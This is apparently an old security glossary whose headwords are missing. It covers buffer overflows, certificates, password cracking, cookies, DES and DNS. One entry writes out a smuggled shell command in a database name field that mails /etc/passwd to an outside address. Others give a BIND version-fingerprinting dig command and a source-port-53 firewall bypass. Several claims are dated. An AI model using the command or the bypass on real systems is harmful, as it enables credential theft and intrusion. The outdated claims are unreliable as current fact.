Key point: DHCP is simply an extension on top of bootp. This is important because without an IP address, clients cannot reach bootp servers that reside across routers. Virtually all routers have an extension for bootp forwarding that fixes this issue. Since DHCP had the same requires, the designers just stuck it inside bootp packets rather than requiring yet another change to the routing infrastructure.
Key point: Until macro viruses came along, boot sector viruses where the most common variant. They spread through companies via floppy disks. Users would leave floppy disks in the drive and when the computer restarted, it would attempt to boot from the floppy. This would run the virus, which then infected the boot sector on the hard drive. Any further floppies plugged into the system would then be infected by the virus.
Countermeasures: I worked at a company with anal anti-virus procedures (anti-virus on all desktops, regular wiping of floppy disks). It was never able to completely free itself from the boot sector virus problem; one of the viruses was never successfully eradicated from the company. My own personal policy is to disconnect the floppies on 90% of the machines, and disable floppy bootup on the remaining machines.
Example: A cancel-bot is a program that attempts to cancel lots of messages within USENET newsgroups. These are sometimes used by the USENET Death Penalty or rogue cancellers. *
Example: Search engine spiders that index the web follow web-page links, going from site to site, downloading web-pages.
Example: In the IRC wars, hackers run automated bots to control channels. These are programs (usually in C) that help in administering channels, protection against hackers, flooding, and so forth.
Misconception: Most of the information you read on boxes is terribly outdated and rarely works in the real world. There is the standard memetic drift going on: documents without dates and without descriptions how they don't work in the modern world are invariably picked up and copied by people who believe in the magic but don't understand that the information is useless. Conversely, documents that dispell the magic and explain how hard it really is and how it mostly is no longer valid do not get copied widely.
Key point: Virtually all popular boxes no longer work in newly developed urban areas. However, phone company equipment doesn't change all that fast. While the average phone system is not vulnerable to such attacks, you can eventually find out-of-the-way places that are vulnerable if you look far enough.
Key point: Simply posessing such boxes is illegal under Title 18 USC section 1029.
Example:
Example: A popular DOS (Disk Operating System) program was used in the mid-90s called "BlueBEEP that implemented many box functionality baed upon Tones.
Subdefinition: Ethernet has broadcast domains, allowing you to partially sniff some data from your neighbors, and possibly subvert it. Typical protocols that can be sniffed and subverted in this manner are: ARP, NetBIOS, MSBROWSE, rwho, bootp/DHCP, SNMP. An Ethernet broadcast address is "FF:FF:FF:FF:FF:FF".
Subdefinition: The Internet protocols TCP/IP support a feature known as a directed broadcast, which allows a remote person the ability to send a single packet to an entire subnet. This will then take advantage of the Ethernet broadcast domain once it reaches its destination. Attacks like smurf take advantage of this. A directed broadcast address looks something like 192.0.2.255, where the last integer "255" means "all devices on subnet 192.0.2.x".
Subdefinition: The special IP address of "255.255.255.255" is the local broadcast, and causes the packets to be sent to everyone locally, but not across the Internet.
Key point: Netsape and Microsoft have not yet produced a browser that is hardened against predation from hostile websites.
Key point: Disabling Java, JavaScript, and ActiveX will lock out virtually all hacks against the browser. However, this will also lock out many websites.
Analogy: If you somehow steal somebody's ATM card, you could try to use it in a bank machine. PIN numbers are only 4 digits, meaning 10,000 possible combinations. If you were patient, you could stand at the cash machine trying all possible 10,000 combinations. (Of course, ATM machines will always eat the cards after a few unsuccessful tries in order to stop this).
Key point: The term brute force often means "the most difficult way". In the above example of the PIN number, you can always find the PIN number after guessing 10,000 combinations. But sometimes there are easier ways. For example, a bank may choose to assign PIN numbers based upon a combination of the issuing date and the user's name. Therefore, the problem is reduced to guessing when a card was issued, which may consist of only a few hundred guesses. Therefore, any technique that is more difficult than brute force is pointless. Likewise, brute force is very difficult, so hackers continually search for techniques that are less difficult.
Key point: The possibility of doing brute-force key-space searches is often compared to the age of the universe, number of atoms in the planet earth, and the yearly output of the sun. For example, Bruce Schneier has calculated that according to what we know of quantum mechanics today, that the entire energy output of the sun is insufficient to break a 197-bit key.
Contrast:
Misconception: Certification doesn't been the business cannot get hacked. Rather, it certifies that the business is aware of its security risks, has identified how it is going to manage those risks, and has communicated this information broadly within the organization. For example, a business could put out a website with the statement "we don't care if it gets hacked" and be within compliance. They just need to identify this fact and publish it within the organization.
See also: Common Criteria, CDSA
Analogy: Consider two popular bathroom sink designs. One design is a simple sink with a single drain. The other design includes a backup drain near the top of the sink. The first design is easy and often looks better, but suffers from the problem that if the drain is plugged and the water is left running, the sink will overflow all over the bathroom. The second design prevents the sink from overflowing, as the water level can never get past the top drain.
Example: Programmers often forget to validate input. They (rightly) believe that a legal username is less than 32 characters long, and (wrongly) reserve more than enough memory for it, typically 200 characters. The assume that nobody will enter in a name longer than 200 characters, and don't verify this. Malicious hackers exploit this condition by purposely entering in user names a 1000 characters long.
Key point: This is a classic programming bug that afflicts almost all systems. The average system on the Internet is vulnerable to a well known buffer overflow attack. Many Windows NT servers have IIS services vulnerable to a buffer overflow in ".htr" handler, many Solaris servers have vulnerable RPC services like cmsd, ToolTalk, and statd; many Linux boxes have vulnerable IMAP4, POP3, or FTP services.
Key point: Programs written in C are most vulnerable, C++ is somewhat less vulnerable. Programs written in scripting level languages like VisualBasic and Java are generally not vulnerable. The reason is that C requires the programmer to check buffer lengths, but scripting languages generally make these checks whether the programmer wants them or not.
Key point: Buffer overflows are usually a Denial-of-Service in that they will crash/hang a service/system. The most interesting ones, however, can cause the system to execute code provided by the hacker as part of the exploit.
Defenses: There are a number of ways to avoid buffer-overflows in code:
Key point: The NOOP (no operation) machine language instruction for x86 CPUs is 0x90. Buffer overflows often have long strings of these characters when attacking x86 computers (Windows, Linux).
Key point: In a successful buffer overflow exploit, hackers force the system to run their own code. Since most network services run as "root" or "administrator", the exploit would give complete control over the machine. For this reason, more and more services are being configured to run with lower privileges.
See also: stack frame
Controversy: A debate over "full-disclosure" surrounds BUGTRAQ. On one side is a community of people that believe full and open disclosure of vulnerabilities and exploits is necessary to promote the developement of protections against hacking. On the other side is a community of people that believe total disclosure, including script-kiddy ready exploits, is harmful.
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Point: The language is quirky, difficult for beginners to learn, and really just an accident of history. Despite this, one must grok the language in order to become an elite hacker.
Key point: The large number of buffer overflow exploits is directly related to poor way that C protects programmers from doing the wrong thing. On the other hand, these lack of protections leads directly to its high speed.
Key point: If you built your own hardware, you could likely build a sniffer to spy on your neighbor's Internet traffic. Some cable-modem segments can even be sniffed without special hardware by anybody who reconfigures their machine. Some cable-modem segments allow you to redirect a neighbor's traffic through your machine, which you can then sniff.
Key point: Your neighbors are open to lots of hacking techniques that are not generally possible from across the Internet. First, your machine will receive broadcasts from your neighbors. These broadcasts basically advertise your neighbor's presence telling you how to hack into them. For example, neighbors who share their hard-drives will advertise themselves in the Window's Network Neighborhood. UNIX machines will also advertise a lot of information, such as through the 'rwho' mechanism. There are also lots of non-Internet protocols that appear on the local wire that can be used to break into your neighbors.
See also: DSL
Key point: Sometimes systems can be exploited through the cache. Examples are:
See also: key recovery, Carnivore, ECPA
Point: In order for Caller ID to work, both you and the caller must be hooked up to SS7 phone systems. SS7 is the system that will transmit the phone number to your CO. Secondly, you must have a digital phone (cell phone, ISDN) or an analog phone that complies with whatever standard your CO will use to transmit the signal (e.g. some standards will transmit the Caller ID number in the spaces between the first two rings of the phone, which means it can get interupted if you pick up the phone too quickly). Finally, you must have adequate wiring that doesn't distort the Caller ID signal from the CO.
Contrast: A similar functionality is ANI, which is used primarily just for billing data. ANI predates Caller ID (by about 50 years). There are cases where the number reported by ANI will be different from the Caller ID since the services are essentially independent.
Point: Caller ID can be used for call-back dialups. What happens is that you dial-up a computer. The computer records your phone number automatically, then dials back to your machine. This greatly enhances security because it prevents users from being completely anonymous.
Example: An intruder monitors a range of ISP dialup lines with pings. As soon as a user dials-up, the hacker is notified and automated attack scripts are run. For example, it may ping the range continuously, and as soon as a ping responds, a script is run that attempts to connect to File and Print Sharing and read files from the hard-disk. When dialing up to an ISP, the first 10 minutes are the most dangerous. A hacker can be in and out of the system before the user even realizes they are connected to the network.
Example: A hacker scans a victim for all the equipment and services exposed to the Internet (such as recording all the banners). The hacker then "camps" waiting for a 0-day exploit to be posted to various places. At that point, the hacker launches the attack against the victim, getting a foothold in to the network before the victim can patch the hole.
Key point: Their Escrowed Encryption Standard (EES) specified a way to include a Law Enforcement Access Field (LEAF) that would provide for court-authorized decryption.
Misconception: The FBI does not install this on networks. They have to provide a search warrant to an ISP for the e-mail. Carnivore is one of the ways the ISP can fulfill the demands of the search warrant.
History: The first wiretap of an e-mail message was near the end of 1995. A German engineer advertised cellular-fraud equipment on Compuserve. The FBI succeeded in getting warrants to read his (and accomplice's) e-mail, and successfully prosecuted them.
See also: CALEA
| ToolTalk
rpc.ttdbd |
Provides the core of most "desktop" services. Provides an inter-application communication library that can be linked to applications. | ToolTalk has had two major remote exploits providing root access. In 1999, a buffer-overflow was discovered. In 2001, a format-string exploit was discovered. Both resulted in widespread compromises. |
|---|---|---|
| CMSD (Calender Manager Server Daemon) rpc.cmsd |
Provides an online calender were different people can view each other's schedules. The very existence of this application scares some security profesionals because it reveals too much information about individuals | In 1998, a buffer-overflow in CMSD was one of the most popular exploits on the Internet. |
| dtspcd DeskTop SubProces Control Daemon |
A service whereby a CDE process can easily launch another process on another computer. | In November 2001, a remote exploit was discovered that affects all major UNIX vendors. |
Key point: Certificates can be revoked. This means that a company who believes that their site has been compromised can put up a server on the Internet that tells everyone else that the certificate is no longer valid.
Key point: The Verisign embedded certificates in older browsers (IE 3.0, Netscape 4.0) have expiration dates of January 1, 2000. This means that anybody using older browsers will get nasty warnings when they visit e-commerce sites or attempt to verify files with authenticode.
Key point: The way it is supposed to work is that you have a certificate that claims to be Microsoft signed by Verisign (a popular CA), then you trust that Verisign has done a reasonable job both ensuring that Microsoft is who they say they are, and that Microsoft has done a reasonably good job protecting their private keys from theft.
Contrast: Microsoft could create a self-signed certificate, but then anybody else could create a self-signed certificate claiming to be Microsoft. Therefore, you trust a CA-signed certificate more than a self-signed certificate, as long as you trust the CA.
Key point: How do you trust a CA? The answer is marketing. First, a company like Verisign has spent millions of dollars creating a reputable company that would be destroyed if a flaw was found in their procedures (i.e. thieves were able to steal their private keys). Second, Verisign (and a few other CAs) have managed to embed their public keys within Internet Explorer and Netscape Navigator. This means that any website using SSL must obtain a certificate signed by one of these built-in CAs, or else users get confusing warning messages.
Humor: Microsoft uses certificates signed by Verisign, because it is trusted by many people. The reason so many people trust Verisign these days is because its root keys are included with Microsoft's browsers.
Key point: One of the chief risk is the theft of the private key used to sign things. If a hacker/thief is able to steal it, then they can masquerade as someone
Key point: Several important CA certificates (i.e. Verisign) expired on Dec. 31, 1999. Since it is feasible to eventually compromise a certificates, they usually expire at some date. The certificates for trusting root CAs that are built-in many browsers (Internet Explorer 4.0 and earlier, Netscape Navigator 4.06 and earlier) were created in 1995, and were made for a 5-year lifespan. One of the creators of these certificates now says he wished he'd put the expiration date a little off, such as on Dec. 15, in order to avoid the Y2K madness.
Misconception: They are called "CGI scripts" because they are usually written in a scripting language such as PERL, shell scripting, and other minor scripting languages (TCL, Python, etc.). However, even when they are compiled binaries from C source code, they are still often referred to as "CGI scripts".
Point: The word "CGI" stands for "Common Gateway Interface", which generally confuses people more than help them. The idea is that you have the Internet and some sort of database. A combination HTTP server and CGI script will act as a gateway between the Internet and database.
Key point: In most cases the user is prompted for the password, which the client then stores in memory. In the use of smart cards, however, the system may give the user the challenge string, which the user then types into the smart card. The smart card then produces a response, which the user must type back into the system. In this way, the user validates that they have the smart card.
Key point: Challenge-response systems are thought to be more secure because the challenge/response is different every time. This guards against replay attacks as well as making cracking more difficult.
Key point: Favorite because it provides real-time anonymous communication.
Key point: Checksums are not secure against intentional changes by hackers. For that, you need a cryptographic hash.
The jail call in BSD is a more advanced version for creating the same sort of sandbox.
Point: In order for it to work properly, some common programs and libraries (e.g. /bin/sh, /usr/lib/libc.so.1, ...) need to be copied/linked to the appropriate locations in the new directory tree.
Key point: A process running with root access can break out of a chrooted environment. Therefore, it should be used in conjunction with setuid.
Key point: Executive Order No. 12333 of 1981 explicitly prohibits the Central Intelligence Agency from engaging, either directly or indirectly, in assassinations. This hasn't been followed to the letter -- for example, they were caught training people in Central America during the cold-war how to conduct assassinations.
Key point: A block cipher is one that encrypts a block of data at a time. For example, DES uses a block size of 64-bits. Each input block must correspond to exactly one output block (like a codebook). A block-cipher suffers from the fact the same data repeated in a message would be encoded in the same way. Consider a block size of 8-bit encrypting English text; you could therefore figure out all the letter 'e's in the cipher text because they are the most common letter used. Therefore, block-ciphers are often used in a chaining mode such that the same pattern will indeed be decrypted differently.
Key point: A stream cipher is essentially a chained block cipher with a block size of 1 (either 1-bit or 1-byte). It generates a keystream against which it XORs the plaintext, operating much like a one-time pad, though less secure in theory but more secure in practice.
Example: Some popular ciphers are:
Contrast: clear-text, plaintext.
Misunderstanding: The word text comes from traditional cryptography that meant the text of messages, though these days text can refer to binary computer data as well.
Key point: In block-ciphers, the key represents a codebook. In other words, you could use the key to generate a huge book of matching pairs whereby each plaintext block would match to exactly one ciphertext block. Then, you could encrypt messages by looking them up in this table.
See also: ECB
Example: Continuous power is one of the major features that a collocation facility may provide. The theory is that a website doesn't need a UPS because the the collocation facility will be more reliable than the UPS itself. For example, I host a site at a colo that has connects to two separate city grids for power, with their own battery backup system, as well as their own generator. They occasionally unplug themselves from the city grids in order to test their system. Likewise, they bring multiple power feeds to racks so that a system with multiple power supplies can get its power from independent grids
Key point: Major colos have visually impressive security. However, they really aren't at the same paranoid level as the military, CIA, NSA, or banks (and probably won't be until a major physical security breach occurs). Their network security is extremely weak, often forcing customers to share common broadcast domains, which would allow one customer to subvert another's traffic.
Key point: The average hacker does all his/her work from the command-line. Virtually all hacker tools are command-line oriented.
CC is a set of government-oriented standards designed to create a commonly agreed upon criteria in which to describe and judge infosec. For example, if you want to purchase a "secure" computer from a vendor, the CC gives you a common set of criteria with which to evaluate that system. If you want to talk about infosec issues, the CC gives you a language in which to describe them. These common criteria were put together by government departments from Canada, France, Germany, the Netherlands, Great Britain, and the United States (both NIST and the NSA).
Controversy: The CC defines terminology uses terminology that is far from the infosec mainstream. Furthermore, many believe that products that match the criteria would be secure, they would also be worthless (in much the same way that a computer turned off, unplugged, and locked in the basement is secure from remote attacks).
Key point: The CC breaks down security functionality into the following areas:
Resources: http://csrc.ncsl.nist.gov/cc/
Key point: A compiler is a form of lossy compression and one-way encryption. All the information meaningful to humans is removed from the code leaving only the information necessary for the computer. This means that humans can no longer easily read the resulting program directly. Because of the "one-way" nature of the operation, programs cannot be used to recover the existing source code. This effect is different in various languages. C++ is the worst language in terms of decompilation; Java is the best. Most Java applets can be decompiled back to some semblance of their previous form. This has led to a market for programs that further obfuscate Java binaries in an effort to hide the original source code. Some compilers do leave human-readable symbols behind for debugging purposes. They won't reveal the original source, but can still be useful for reverse engineering They can be "stripped" from the binary.
The best way to understand complexity is to consider the ancient parable (Babylonian?) about a king and a wise subject who did a favor for him. The subject asked for one piece of grain to be placed on the first square of a chess board, two grains on the second, four grains on the third, and so on, doubling the amount of grain for each successive square.
| 1 | 2 | 4 | 8 | 16 | --- | --- | --- |
| --- | --- | --- | --- | --- | --- | --- | --- |
| --- | --- | --- | --- | --- | --- | --- | --- |
| --- | --- | --- | --- | --- | --- | --- | --- |
| --- | --- | --- | --- | --- | --- | --- | --- |
| --- | --- | --- | --- | --- | --- | --- | --- |
| --- | --- | --- | --- | --- | --- | --- | --- |
| --- | --- | --- | --- | --- | --- | --- | --- |
The question is: how much grain does this come out to? Your possible choices are:
The problem is known as having exponential complexity. The average computer scientist, when confronted with this problem, would intuitively guess the correct answer, which is that the amount of grain is a billion times a billion, or more than all the grain ever harvested by mankind.
| 1 | 2 | 4 | 8 | 16 | 32 | 64 | 128 |
| 256 | 512 | 1024 | 2048 | 4096 | 8192 | 16384 | 32768 |
| 65536 | 131072 | 262144 | 524288 | 1048576 | 2097152 | 4194304 | 8388608 |
| 16777216 | 33554432 | 67108864 | 134217728 | 268435456 | 536870912 | 1073741824 | 2147483648 |
| 4294967296 | 8589934592 | 17179869184 | 34359738368 | 68719476736 | 137438953472 | 274877906944 | 549755813888 |
| 1099511627776 | 2199023255552 | 4398046511104 | 8796093022208 | 17592186044416 | 35184372088832 | 70368744177664 | 140737488355328 |
| 281474976710656 | 562949953421312 | 1125899906842624 | 2251799813685248 | 4503599627370496 | 9007199254740992 | 18014398509481984 | 36028797018963968 |
| 72057594037927936 | 144115188075855872 | 288230376151711744 | 576460752303423488 | 1152921504606846976 | 2305843009213693952 | 4611686018427387904 | 9223372036854775808 |
Example: Let's say that a dictionary was not sorted. This means that you would have to start at the begining and look at every word until you found the definition you were looking for. This is an algorithm with linear complexity. The time it takes you to lookup a word in such a dictionary is related to the number of words in the dictionary: if you double the size of such a dictionary, you will double the amount of time it takes to lookup a word. In other words, the time to lookup a word in this dictionary is on the order of the size of the dictionary. This is expressed as O(n), where n is the size of the dictionary.
Example: Dictionaries are sorted before printing. This means that you can quickly find the word you are looking for. In terms of complexity we are more interested in how much longer it will take you to lookup a word if we double the size of the dictionary. In other words, the Oxford English Dictionary (OED) is about 8 times larger than a more abridged English dictionary. However, it only takes about 3 times longer to lookup a word in the OED. As the problem size grows, the amount of effort it takes to figure out the problem grows less slowly. If the OED were 16-times larger, then it would take only 4-times longer to search. If the OED were 32-times larger, it would take only 5-times longer to search. This mathematical relationship is known as a logarithm. The increase in computing power needed to solve such a problem grows on the order of the logarithm of size of the problem. This is expressed as O(logn). Logarithm problems are much easier to solve than linear ones, which is why we sort dictionaries.
Example: The chessboard problem mentioned above is similar to encryption keys. Every additional square on the chessboard doubles the size of the problem; every additional bit added to a key doubles the amount of time it would take to crack it. This means that a 32-bit key would take roughly a billion trials in order to crack, a 64-bit key would be roughly a billion times harder than that to crack, and a 128-bit key is a billion billion times harder to crack than a 64-bit key. This complexity is expressed as O(2n).
Key point: The following table shows the complexity of some algorithms.
| big-O | complexity | problem = 8 elements | problem = 32 elements |
| O(logn) | logarithmic | 3 seconds | 5 seconds |
| O(n) | linear | 8 seconds | 32 seconds |
| O(n2) | quadratic | 1 minute | 15 minutes |
| O(n3) | cubic | 9 minutes | 9 hours |
| O(2n) | exponential | 4 minutes | 136 years |
Contrast: For the most part, the words confidentiality and privacy are interchangeable. We typically apply the word privacy to individuals, and include ideas like anonymity and unobservability. We use works like confidentiality to refer government, military, and business who wish to defend against eavesdropping.
Key point: We use encryption to protect secrets from being eavesdropped.
See also: Confidentiality is often mentioned along with other key security concepts such as integrity, authentication, and non-repudiation.
Misconception: Cookies are not a security/privacy risk. However, when combined with HTTP Referer field and cross-site imbedded images, they can be used to track user's activities. Users have sued sites like DoubleClick that have massive cross-site imbedded images over the privacy information they collect. Cookies receive most of the blame for this.
Example: The biggest privacy hole is when cookies are combined with the HTTP Referer field. If many sites imbed images (like advertisements) from a single site, that single site can use cookies in order to track a user going among those sites. The cookie does not identify who the user is, but can track what the user does. Other information, like web-site logons, can then be combined with this information in order to track how the person is.
Example: JavaScript has a long history of problems with cookies such that one website can retrieve the cookie information for another website. Since cookie information often contains username/password information, this can compromise the site.
Key point: Turning off cookies is not practical. The best you can hope for is "cookie management" -- choose which sites you want to allow cookies for but deny them to all the rest.
Key point: One rootkit uses ICMP as a covert channel. It creates a virtual TCP-like circuit inside of ping packets.
Key point: Covert channels can become extremely covert. In theory, one can create a covert channel where only the IP identification field (16-bits) carries the data. More subtle issues can also be exploited for covert channels, such as timing between packets, or the number of packets sent within a time interval. The more covert the channel, the lower the bandwidth.
Example:
Culture: In the sci-fi book Mirror Friend, Mirror Foe by Robert Asprin and George Takei,
the protagonist talks with his grandfather via video conferencing. Verbally, they have an unimportant
conversation, but the real conversation takes place with hand gestures.
In am episode of Star Trek: The Next Generation, two crewmen trap on an alien vessel
create what appears to be background radiation as far as computers can detect, but which
is actually in the form of music that their fellow crewman can recognize (and therefore, locate them).
History: When the UNIX operating system was first developed, passwords were stored in the file /etc/passwd. This file was made readable by everyone, but the passwords were encrypted so that a user could not figure out who a person's password was. The passwords were encrypted in such a manner that you could test a password to see if it was valid, but you really couldn't decrypt the entry. (Note: not even administrators are able to figure out user's passwords; they can change them, but not decrypt them). However, a program called "crack" was developed that would simply test all the words in the dictionary against the passwords in /etc/passwd. This would find all user accounts whose passwords where chosen from the dictionary. Typical dictionaries also included people's names since a common practice is to choose a spouse's or child's name.
Contrast: A "crack" program is one that takes existing encrypted passwords and attempts to find some that are "weak" and easily discovered. However, it is not a "password guessing" program that tries to login with many passwords, that is known as a grind
Key point: The sources of encrypted passwords typically include the following:
Key point: The "crack" program is a useful tool for system administrators. By running the program on their own systems, they can quickly find users who have chosen weak passwords. In other words, it is a policy enforcement tool.
Tools: on UNIX, the most commonly used program is called simply "crack". On Windows, a popular program is called "l0phtCrack" from http://www.l0pht.com.
Controversy: This work is extremely controversial. See the word hacker for a discussion about the way that "cracker" is used in the computer enthusiast community vs. the security community.
Culture: Cracking programs is its own little underground 'scene' independent of other hacking activities. Groups and individuals often compete to be the first to break a new copy protection scheme in popular programs. There are many sites that catalogue cracked programs.
Key point: Like a checksum, a CRC is not able to detect intentional changes. You must use a cryptographic hash for that.
Key point: Credit card numbers may be stolen in the following areas:
Key point: A skimmer is a device that reads the electronic stripe off the physical credit card. While the word can refer to legitimate card readers, the process of skimming usually refers to criminal activities. In a restaurant, a waiter may swipe the card twice: once on the legitimate device, and once on their own private device. The information from the magnetic stripe can then be written back onto their own credit cards. This allow somebody to go into a physical store and present a credit card that is then swiped by the merchant. Some credit card scanner devices are the size of pagers, allowing a waiter to scan the credit card secretly.
Key point: When the machine is compromised, intruders will often put backdoor jobs into the crontab. When the victim tries to clean up his/her machine, the jobs in the crontab will run giving the intruder control again. This sort of thing happened in the famous attack against the New York Times; they kept cleaning up the machine, but cron kept giving control back to the intruder. Typically, these jobs would run during the wee hours of the morning when nobody is looking.
Key point: The different kinds of cryptanalysis are:
Misconception: Movies often show people easily breaking crypto. In real life, crypto is generally unbreakable when done properly. Law enforcement and hackers rarely have to resort to breaking crypto, but instead attack the human actions around it.
History: So far, there are four major eras in cryptography.
Point:
The best example is the "checksum" vs. "hash". A checksum verifies that data hasn't been corrupted unintentionally. For example, all IP packets are checksumed in case they corrupted accidentally between sender and receiver. A cryptographic hash verifies that data hasn't been corrupted intentionally. Hackers can (and do) change IP packets between the sender and receiver in order to carry out an attack. Since IP's checksum is not cryptographically secure against hackers.
There are two features that are required in order to be cryptographic. The first is that the algorithm be secure against attack. A checksum uses simple addition, while hashes use a complex set of mathematical operations. The second is that the key must be of a sufficient size in order to prevent brute force attacks. The IP checksum is only two-bytes long, so that even if the algorithm were secure, it would require only 65536 tries for the hacker to get it right, which can be done in real-time.
Key points: The two defining books of cyberpunk are Neuromancer by William Gibson and Snow Crash by Neal Stephenson. Neuromancer is considered "hard core" cyberpunk that launched the genre.
See also: anarchy
Key point: Cyberstalkers target the weak (females, children, newbies, emotionally unstable).
Tips:
Examples: Well-known cypherpunks include:
[ DACL | daemon | Data Encryption Standard | data havens | data-driven attack | database | datagram | DDoS | decipher | decipher | decompile | decrypt | decryption | deface | defaults | degauss | Demilitarized Zone | demon-dialing | Denial of Service | DER | DES | DH | DHCP | dial-up | Dialed Number Recorder | dialout | dictionary | differential cryptanalysis | Diffie-Hellman | dig | digital signature | dinosaur killer asteroid | directory climbing | directory traversal | DISA | disassemble | discretionary access control | distros | DMZ | DNR | DNS | DNSSEC | Domain Name System | DoS | double entry | downgrade attack | dress-code | dropper | drug-use | DSA | DSL | DSS | DTMF | dtspcd | dual homed system | dumpster diving | dynamic packet filter ]
Key point: The near-programming quality of SQL means that it is open to much the same security holes that plague other scripting languages. For example, a frequent attacks against databases is to insert shell metacharacters into data fields. For example, consider a reporting system using PERL that extracts data out of a database. I may create a bank acount where name is "| mail smc@robertgraham.com < /etc/passwd", which will send me the password field when you run your month-end reports. In late 1999 and early year 2000, thousands of Microsoft's web servers were broken into because programs submitted command-line statements through SQL query statements through a default script left open on default installations of their servers.
Many companies have HTML FORMS that manipulate back-end databases; most of them can be hacked with data-driven attacks. The only defenses are thorough education of the programmers who write the systems, or create a system that thoroughly untaints the data (such as specialized proxies).
Example: Sealand is a "principality" off-shore from the British Isles hosting HavenCo's data haven.
See also: anarchy
Key point: The Internet is defenseless against these attacks. The best defense is for ISPs to do "egress filtering": prevent packets from going outbound that do not originate from IP addresses assigned to the ISP. This cuts down on the problem of spoofed IP addresses.
History: The original DDoS tools were clonebots used during IRC wars.
See also: zombie
Key point: There are sites, like http://www.attrition.org that catalogue defaced sites and mirror the defaced web-pages.
Key point: Defaced web-pages is an important part of hacker culture. The more pages a hacker can break into, the more intelligent they may seem (though it typically requires more patience than intelligence). One of the key things is the defacers never reveal to the public how they broke in. They try to protray themselves as elite hackers when in reality most defacements are by script-kiddies.
Key point: Elite hackers rarely deface web-pages, they instead break in and control the server for other nefarious purposes that yield more profit.
Key point: Web servers are easy to deface because the average OS and web server contains vulnerabilities (defaults and samples) upon installation. It takes extensive effort to harden a server.
Key point: Security irritates customers who prefer products that are easy to use. Therefore, most vendors make the same trade off. They ship their systems with the best "out-of-box" experience, and as a result most boxes are easily hacked in their default state. The more a vendor touts its ease-of-use, the more likely hackers will find that vendor's products easy to hack.
See also: samples
Best practice: Degauss all floppy disks and hard-drives before throwing them away. A lot of data from corporations have been recovered from defective disks that were thrown away. An equivalent for CD-ROMs is to put them in the microwave.
See also: wipe
Key point: DES ushered in a new era of cryptography. Before DES, strong encryption was only available to large governments and militaries. Cryptography research was similarly limited. Anything that the average person might use could easily be cracked by a major government. DES created a well-defined, easily verifiable security architecture that was available to anyone. DES-capable products flooded the market. Beyond making encryption products available to anyone, DES essentially created the cryptographic community. Before DES researchers toiled away under government/big-business secrecy, After DES, cryptography become a normal computer-science subject. Whereas DES itself was developed by secretive government agencies (NSA) and mammoth corporations (IBM), DES's replacement will likely be created by relatively independent researchers and the cryptographic community as a whole.
Contrast: As of the year 2000, DES has been supplanted by the newer AES. Because DES has only 56-bit keys, it can easily be cracked within hours.
Contrast: An increasingly popular form of DES is Triple DES which increases the key strength to 112 bits.
History: In September, 1998, a German court ruled DES "out of date and unsafe" for banking applications.
Key point: It takes only a couple minutes to run through hundreds of thousands of words in a dictionary in order to crack a password. Therefore, never choose a word that may be in a dictionary.
Key point: The dictionary files that hackers use are not necessarily the same as English dictionaries. In theory, users will choose the same passwords they have used before, and unrelated users will choose the same passwords. Therefore, lists of passwords users chose in the past forms a key component of hacker dictionaries.
Key point: Hackers also run non-English dictionaries, so choosing foreign words isn't a good defense.
Contrast: Whereas RSA is based upon the mathematical problem of factoring large numbers, DH is based upon the discrete logarithm problem. Whereas RSA can be used to encrypt messages, DH can only be used for key-exchange. However, RSA is essentially only used for key-exchange in the first place. The disadvantages of DH vs. RSA are:
Contrast: The most common use of Diffie-Hellman is ElGamal, a public-key encryption variant of Diffie-Hellman. The U.S. government standard DSS is based upon ElGamal.
See also: RSA, public-key crypto
Key point: Hackers like to run the following command in order to query the version of BIND:
dig -t txt -c chaos VERSION.BIND @ns1.example.comThe BIND server supports a kludge whereby a "chaos" "txt" record contains the version number of the server. You can look this up in your script-kiddy version list in order to figure out what scripts this server is vulnerable to. Here are some results I get back from this command:
| 4.9.6-REL | RedHat 5.0 (Hurricane) |
| 8.2.1 | Mandrake 6.1 (Helios) |
| SERVFAIL | Solaris 2.6 |
| NOTIMP | WinNT DNS |
| 8.2.2-P5 | RedHat 6.2 |
Digital signatures are based upon the mathematics of cryptography. An individual is issued a certificate by a certificate authority (CA). This certificate contains a private-key that is kept secret, and a public-key that everyone will know. The individual uses the private-key to digitally sign the document; everyone else can use the public-key to verify this. A side effect of this is that the signature will also validate the the integrity of the document and that it has not been altered once signed.
Key point: Digital signatures apply to a wide variety of things outside the realm of tradditionally signed documents.
Example: Microsoft's Authenticode allows application developers to sign their programs. Any alteration to the software will result in an invalid signature. Therefore, hackers can't add trojans/viruses to commercial software without it being detected.
Key point: Digital signatures only work if people check them. People rarely check signatures in e-mail or software.
Therefore, anything less likely than being wiped out by an asteroid is consisered "impossible".
Analogy: When calling somebody via the telephone, you can lookup their name in the phone book in order to find the telephone number. DNS is a similar directory service. When contacting a web site, your browser looks up the name in DNS in order to find the IP number.
History: DNS is relatively new. When the Internet was small, every machine simply had a list of all other machines on the Internet (stored in /etc/hosts). Generally, people just had the IP addresses of machines memorized in much the same way that people memorize phone numbers today.
Key point: DNS is not needed for communication. If a DNS server goes down, newbies will think that the entire network is down. Hackers frequently deal with raw IP addresses, and indeed often bypass DNS entirely as it may give off signs of an attack.
Key point: The DNS hierarchy starts from the "top level domains" of .com, .net, .org, .edu, .giv, .mil, and the two-letter country codes (e.g. .us for United States, .jp for Japan).
Misunderstanding: Both IP addresses and domain names use dots: "www.robertgraham.com" vs. "192.0.2.133". This has no significance; the usage of these dots is unrelated. Trying to match things up one-to-one is wrong (i.e. ".com" == "192.").
Analogy: What is your phone number? If I asked you this, you could give me both your home number and your cell phone number. I can reach you at either one. In much the same way, the a domain name like www.yahoo.com can have multiple IP addresses. Every time you visit that site, you might go to a separate IP address. You can test this out yourself. Go to the command-line and type "ping www.yahoo.com". Notice how it comes back with an IP address that it pings. After that runs, try it again. Notice how the second time it is pinging a different IP address.
Details: DNS provides a number of resource records (RR):
| A ^ | The normal record that contain an name to IP address mapping. |
|---|---|
| LOC ^ |
The geographic location containing latitude, longitude, altitude, and size.
Altitude is meters above sea level. Size is the exponent in the in meters
of the volumetric size of the object. Hackers sometimes use these records
to find where you are located physically.
Humor: The original name of this record was ICBM. |
| HOST ^ | HOST records can contain information about the machine, such as if it is a Windows or UNIX machine. Administrators probably should not fill them in; they are dangerous. |
| PTR ^ | Provides a reverse mapping: given an IP address, this record maps it to a host name. People may find this confusing that DNS doesn't automatically provide reverse mappings, but the lack of this inherent ability is fundamental to the nature of DNS. For example, multiple names can map to a single IP address, and there is the question of which DNS servers are responsible for supplying the reverse map. |
Technique: Since DNS is critical to the network infrastructure, a lot of firewalls have been configured to pass any packet with a source port of 53. An intruder can set his/her own traffic to start from that port, bypassing the firewall to attack any other service.
